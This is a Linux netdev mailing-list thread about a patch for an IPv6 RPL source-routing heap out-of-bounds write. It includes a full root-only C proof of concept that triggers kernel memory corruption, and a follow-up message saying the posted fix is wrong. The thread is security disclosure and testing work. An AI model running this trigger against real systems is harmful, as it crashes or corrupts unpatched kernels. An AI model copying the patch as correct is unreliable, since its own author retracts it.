* [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
@ 2026-04-21 12:32 Greg Kroah-Hartman
2026-04-21 12:38 ` Greg Kroah-Hartman
2026-04-21 13:11 ` Greg Kroah-Hartman
0 siblings, 2 replies; 4+ messages in thread
From: Greg Kroah-Hartman @ 2026-04-21 12:32 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, Greg Kroah-Hartman, David S. Miller, David Ahern,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, stable
ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
header and pushes the new one plus the IPv6 header back. The
recompressed header can be larger than the received one when the swap
reduces the common-prefix length the segments share with daddr (CmprI=0,
CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
pskb_expand_head() was gated on segments_left == 0, so on earlier
segments the push consumed unchecked headroom. Once skb_push() leaves
fewer than skb->mac_len bytes in front of data,
skb_mac_header_rebuild()'s call to:
skb_set_mac_header(skb, -skb->mac_len);
will store (data - head) - mac_len into the u16 mac_header field, which
wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
past skb->head.
A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
Fix this by expanding the head whenever the remaining room is less than
the push size plus mac_len, and request that much extra so the rebuilt
MAC header fits afterwards.
Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
Cc: "David S. Miller" <davem@davemloft.net>
Cc: David Ahern <dsahern@kernel.org>
Cc: Eric Dumazet <edumazet@google.com>
Cc: Jakub Kicinski <kuba@kernel.org>
Cc: Paolo Abeni <pabeni@redhat.com>
Cc: Simon Horman <horms@kernel.org>
Cc: stable <stable@kernel.org>
Reported-by: Anthropic
Assisted-by: gkh_clanker_t1000
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
v2: - fixed up if statement to actually work properly, and test it against
a working poc (poc will be sent separately)
Reworded the changelog and the subject to make more sense
Link to v1: https://lore.kernel.org/r/2026042024-cabbie-gills-9371@gregkh
net/ipv6/exthdrs.c | 13 +++++++------
1 file changed, 7 insertions(+), 6 deletions(-)
diff --git a/net/ipv6/exthdrs.c b/net/ipv6/exthdrs.c
index 95558fd6f447..b86a638d51e4 100644
--- a/net/ipv6/exthdrs.c
+++ b/net/ipv6/exthdrs.c
@@ -491,6 +491,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
struct net *net = dev_net(skb->dev);
struct inet6_dev *idev;
struct ipv6hdr *oldhdr;
+ unsigned int chdr_len;
unsigned char *buf;
int accept_rpl_seg;
int i, err;
@@ -590,11 +591,11 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
oldhdr = ipv6_hdr(skb);
skb_pull(skb, ((hdr->hdrlen + 1) << 3));
- skb_postpull_rcsum(skb, oldhdr,
- sizeof(struct ipv6hdr) + ((hdr->hdrlen + 1) << 3));
- if (unlikely(!hdr->segments_left)) {
- if (pskb_expand_head(skb, sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3), 0,
- GFP_ATOMIC)) {
+ chdr_len = sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3);
+ skb_postpull_rcsum(skb, oldhdr, chdr_len);
+ if (unlikely(!hdr->segments_left ||
+ skb_headroom(skb) < chdr_len + skb->mac_len)) {
+ if (pskb_expand_head(skb, chdr_len + skb->mac_len, 0, GFP_ATOMIC)) {
__IP6_INC_STATS(net, ip6_dst_idev(skb_dst(skb)), IPSTATS_MIB_OUTDISCARDS);
kfree_skb(skb);
kfree(buf);
@@ -603,7 +604,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
oldhdr = ipv6_hdr(skb);
}
- skb_push(skb, ((chdr->hdrlen + 1) << 3) + sizeof(struct ipv6hdr));
+ skb_push(skb, chdr_len);
skb_reset_network_header(skb);
skb_mac_header_rebuild(skb);
skb_set_transport_header(skb, sizeof(struct ipv6hdr));
--
2.53.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
2026-04-21 12:32 [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows Greg Kroah-Hartman
@ 2026-04-21 12:38 ` Greg Kroah-Hartman
2026-04-21 13:11 ` Greg Kroah-Hartman
1 sibling, 0 replies; 4+ messages in thread
From: Greg Kroah-Hartman @ 2026-04-21 12:38 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, David S. Miller, David Ahern, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, stable
On Tue, Apr 21, 2026 at 02:32:59PM +0200, Greg Kroah-Hartman wrote:
> ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
> the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
> header and pushes the new one plus the IPv6 header back. The
> recompressed header can be larger than the received one when the swap
> reduces the common-prefix length the segments share with daddr (CmprI=0,
> CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
>
> pskb_expand_head() was gated on segments_left == 0, so on earlier
> segments the push consumed unchecked headroom. Once skb_push() leaves
> fewer than skb->mac_len bytes in front of data,
> skb_mac_header_rebuild()'s call to:
>
> skb_set_mac_header(skb, -skb->mac_len);
>
> will store (data - head) - mac_len into the u16 mac_header field, which
> wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
> past skb->head.
>
> A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
> segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
> pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
>
> Fix this by expanding the head whenever the remaining room is less than
> the push size plus mac_len, and request that much extra so the rebuilt
> MAC header fits afterwards.
>
> Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: David Ahern <dsahern@kernel.org>
> Cc: Eric Dumazet <edumazet@google.com>
> Cc: Jakub Kicinski <kuba@kernel.org>
> Cc: Paolo Abeni <pabeni@redhat.com>
> Cc: Simon Horman <horms@kernel.org>
> Cc: stable <stable@kernel.org>
> Reported-by: Anthropic
> Assisted-by: gkh_clanker_t1000
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> ---
> v2: - fixed up if statement to actually work properly, and test it against
> a working poc (poc will be sent separately)
Poc is here, requires root to run so it's just a normal bug.
------------------
// SPDX-License-Identifier: GPL-2.0
/*
* PoC for ANT-2026-03771: slab-out-of-bounds write of size 14 in
* net/ipv6/exthdrs.c:ipv6_rpl_srh_rcv().
*
* Mechanism
* ---------
* ipv6_rpl_srh_rcv() decompresses an RFC 6554 RPL Source Routing
* Header, swaps daddr <-> segment[i], recompresses, then:
*
* skb_pull(skb, (hdr->hdrlen+1)<<3); // old SRH len
* if (!hdr->segments_left) // ONLY on last seg
* pskb_expand_head(...);
* skb_push(skb, (chdr->hdrlen+1)<<3 + 40); // new SRH + ip6hdr
* skb_reset_network_header(skb);
* skb_mac_header_rebuild(skb);
*
* If the recompressed header (chdr) is larger than the received one
* (hdr) and segments_left > 0, the push consumes headroom that nothing
* checked. When the post-push headroom drops below skb->mac_len (14),
* skb_mac_header_rebuild()'s
*
* skb_set_mac_header(skb, -skb->mac_len);
*
* computes (data - head) + (u16)(-14) and stores it in the u16
* mac_header field, then memmove()s 14 bytes to skb->head + 65522..65535.
*
* Triggering growth on the first iteration
* ----------------------------------------
* Send cmpri=0 cmpre=15 with two segments and daddr = c0de::1:
* seg[0] (16 bytes, cmpri=0): 4141:...:4141 (anything with byte0 != 0xc0)
* seg[1] (1 byte, cmpre=15): 0x01 -> decompressed = c0de::1
*
* After the swap (i=0) the new daddr is 4141::4141 and the segment list
* is [c0de::1, c0de::1]. Recompression against 4141::4141 yields
* cmpri'=0 (4141.. vs c0de..) and cmpre'=0 (4141.. vs c0de..), so the
* last segment now needs 16 bytes instead of 1. hdrlen goes from 3 to
* 4: the SRH grows by 8 bytes.
*
* Headroom on entry to the SRH handler via lo:
* rawv6_send_hdrinc: skb_reserve(LL_RESERVED_SPACE(lo)) = 16
* neigh_connected_output: skb_push(14) -> headroom = 2
* loopback_xmit: eth_type_trans pull(14) -> headroom = 16
* ip6_protocol_deliver_rcu: pskb_pull(40) -> headroom = 56
* ipv6_rpl_srh_rcv: pull(32) push(40+40) -> headroom = 8
*
* 8 < 14, so mac_header wraps. skb data buffer is a ~512-byte slab
* object; head + 65530 is far past it.
*
* Build with CONFIG_KASAN to get a clean splat; without KASAN the
* 14-byte write lands in unrelated heap memory and the failure mode
* is less deterministic (often skb_under_panic on a later iteration).
*
* Usage
* -----
* Run as root. The PoC configures the local address and sysctls
* itself so an init=/poc initramfs is sufficient.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <linux/if.h>
#include <linux/in6.h>
#include <linux/ipv6.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/reboot.h>
#define LOCAL_ADDR "c0de::1"
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static void bring_up_lo(void)
{
int fd;
struct ifreq ifr = { .ifr_name = "lo" };
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS lo");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS lo");
close(fd);
}
static void add_local_addr(void)
{
struct in6_ifreq ifr6;
struct ifreq ifr = { .ifr_name = "lo" };
int fd;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET6");
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("SIOCGIFINDEX lo");
memset(&ifr6, 0, sizeof(ifr6));
inet_pton(AF_INET6, LOCAL_ADDR, &ifr6.ifr6_addr);
ifr6.ifr6_prefixlen = 128;
ifr6.ifr6_ifindex = ifr.ifr_ifindex;
if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0 && errno != EEXIST)
die("SIOCSIFADDR " LOCAL_ADDR);
close(fd);
}
/*
* RFC 6554 SRH wire layout (network byte order):
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Next Header | Hdr Ext Len | Routing Type=3| Segments Left |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | CmprI | CmprE | Pad | Reserved |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Addresses[1..n] ...
*/
static size_t build_packet(unsigned char *buf, size_t buflen, size_t pad)
{
struct ip6_hdr *ip6 = (struct ip6_hdr *)buf;
unsigned char *srh = buf + sizeof(*ip6);
const size_t srh_len = 32; /* (hdrlen 3 + 1) * 8 */
const size_t total = sizeof(*ip6) + srh_len + pad;
if (buflen < total)
die("buffer too small");
memset(buf, 0, total);
/* IPv6 header */
ip6->ip6_flow = htonl(6u << 28);
ip6->ip6_plen = htons(srh_len + pad);
ip6->ip6_nxt = 43; /* Routing Header */
ip6->ip6_hops = 64;
inet_pton(AF_INET6, "::1", &ip6->ip6_src);
inet_pton(AF_INET6, LOCAL_ADDR, &ip6->ip6_dst);
/* RPL SRH fixed part */
srh[0] = 59; /* No Next Header */
srh[1] = 3; /* hdrlen: (3+1)*8 = 32 */
srh[2] = 3; /* IPV6_SRCRT_TYPE_3 (RPL) */
srh[3] = 2; /* segments_left = n+1 = 2 */
srh[4] = (0 << 4) | 15; /* CmprI=0, CmprE=15 */
srh[5] = (7 << 4) | 0; /* Pad=7, Reserved=0 */
srh[6] = 0;
srh[7] = 0;
/*
* seg[0]: full 16 bytes (cmpri=0). byte[0] != 0xc0 so that
* after the swap the new daddr shares no prefix with the
* remaining segments and cmpre' collapses from 15 to 0.
*/
memset(&srh[8], 0x41, 16);
/*
* seg[1]: 1 byte (cmpre=15). Decompressed = daddr[0..14] || 0x01
* = c0de::1, which is local so the loop check passes.
*/
srh[24] = 0x01;
/* srh[25..31] already zero: 7 bytes of pad */
return total;
}
int main(void)
{
static unsigned char pkt[65536];
struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
int fd, on = 1;
size_t len;
if (getpid() == 1) {
mkdir("/proc", 0555);
mount("proc", "/proc", "proc", 0, NULL);
mkdir("/sys", 0555);
mount("sysfs", "/sys", "sysfs", 0, NULL);
}
bring_up_lo();
add_local_addr();
if (write_file("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (all)\n");
if (write_file("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (lo)\n");
/* let DAD settle so c0de::1 is usable */
sleep(2);
fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0)
die("setsockopt IPV6_HDRINCL");
inet_pton(AF_INET6, LOCAL_ADDR, &dst.sin6_addr);
printf("[*] sending IPv6+RPL-SRH packets to %s\n", LOCAL_ADDR);
printf("[*] cmpri=0 cmpre=15 n=1: chdr grows by 8 -> headroom 8 -> mac_header wraps\n");
fflush(stdout);
/*
* The 14-byte write lands at skb->head + ~65530. Whether KASAN
* sees it depends on what that page holds. Sweep packet sizes so
* the data buffer cycles through every kmalloc bucket and the
* page allocator; one of the resulting head values will sit 64KiB
* below a poisoned page.
*/
for (size_t pad = 0; pad <= 32768; pad = pad ? pad * 2 : 64) {
for (int i = 0; i < 64; i++) {
len = build_packet(pkt, sizeof(pkt), pad + i);
if (sendto(fd, pkt, len, 0,
(struct sockaddr *)&dst, sizeof(dst)) < 0)
die("sendto");
}
}
/* softirq processing happens asynchronously */
sleep(1);
printf("[!] kernel survived — fix is applied or KASAN is off\n");
if (getpid() == 1) {
sync();
reboot(RB_POWER_OFF);
pause();
}
return 0;
}
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
2026-04-21 12:32 [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows Greg Kroah-Hartman
2026-04-21 12:38 ` Greg Kroah-Hartman
@ 2026-04-21 13:11 ` Greg Kroah-Hartman
2026-04-21 14:39 ` Jakub Kicinski
1 sibling, 1 reply; 4+ messages in thread
From: Greg Kroah-Hartman @ 2026-04-21 13:11 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, David S. Miller, David Ahern, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, stable
On Tue, Apr 21, 2026 at 02:32:59PM +0200, Greg Kroah-Hartman wrote:
> ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
> the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
> header and pushes the new one plus the IPv6 header back. The
> recompressed header can be larger than the received one when the swap
> reduces the common-prefix length the segments share with daddr (CmprI=0,
> CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
>
> pskb_expand_head() was gated on segments_left == 0, so on earlier
> segments the push consumed unchecked headroom. Once skb_push() leaves
> fewer than skb->mac_len bytes in front of data,
> skb_mac_header_rebuild()'s call to:
>
> skb_set_mac_header(skb, -skb->mac_len);
>
> will store (data - head) - mac_len into the u16 mac_header field, which
> wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
> past skb->head.
>
> A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
> segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
> pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
>
> Fix this by expanding the head whenever the remaining room is less than
> the push size plus mac_len, and request that much extra so the rebuilt
> MAC header fits afterwards.
>
> Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: David Ahern <dsahern@kernel.org>
> Cc: Eric Dumazet <edumazet@google.com>
> Cc: Jakub Kicinski <kuba@kernel.org>
> Cc: Paolo Abeni <pabeni@redhat.com>
> Cc: Simon Horman <horms@kernel.org>
> Cc: stable <stable@kernel.org>
> Reported-by: Anthropic
> Assisted-by: gkh_clanker_t1000
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> ---
> v2: - fixed up if statement to actually work properly, and test it against
> a working poc (poc will be sent separately)
> Reworded the changelog and the subject to make more sense
> Link to v1: https://lore.kernel.org/r/2026042024-cabbie-gills-9371@gregkh
>
> net/ipv6/exthdrs.c | 13 +++++++------
> 1 file changed, 7 insertions(+), 6 deletions(-)
>
> diff --git a/net/ipv6/exthdrs.c b/net/ipv6/exthdrs.c
> index 95558fd6f447..b86a638d51e4 100644
> --- a/net/ipv6/exthdrs.c
> +++ b/net/ipv6/exthdrs.c
> @@ -491,6 +491,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
> struct net *net = dev_net(skb->dev);
> struct inet6_dev *idev;
> struct ipv6hdr *oldhdr;
> + unsigned int chdr_len;
> unsigned char *buf;
> int accept_rpl_seg;
> int i, err;
> @@ -590,11 +591,11 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
> oldhdr = ipv6_hdr(skb);
>
> skb_pull(skb, ((hdr->hdrlen + 1) << 3));
> - skb_postpull_rcsum(skb, oldhdr,
> - sizeof(struct ipv6hdr) + ((hdr->hdrlen + 1) << 3));
> - if (unlikely(!hdr->segments_left)) {
> - if (pskb_expand_head(skb, sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3), 0,
> - GFP_ATOMIC)) {
> + chdr_len = sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3);
> + skb_postpull_rcsum(skb, oldhdr, chdr_len);
Crap, nope, this is wrong, let me go fix this...
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
2026-04-21 13:11 ` Greg Kroah-Hartman
@ 2026-04-21 14:39 ` Jakub Kicinski
0 siblings, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-04-21 14:39 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: netdev, linux-kernel, David S. Miller, David Ahern, Eric Dumazet,
Paolo Abeni, Simon Horman, stable
On Tue, 21 Apr 2026 15:11:57 +0200 Greg Kroah-Hartman wrote:
> Crap, nope, this is wrong, let me go fix this...
Please honor the 24h between reposts rule on netdev.
Also known as "look at the patch before you send it not on the list" rule.
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-04-21 14:39 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-21 12:32 [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows Greg Kroah-Hartman
2026-04-21 12:38 ` Greg Kroah-Hartman
2026-04-21 13:11 ` Greg Kroah-Hartman
2026-04-21 14:39 ` Jakub Kicinski
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox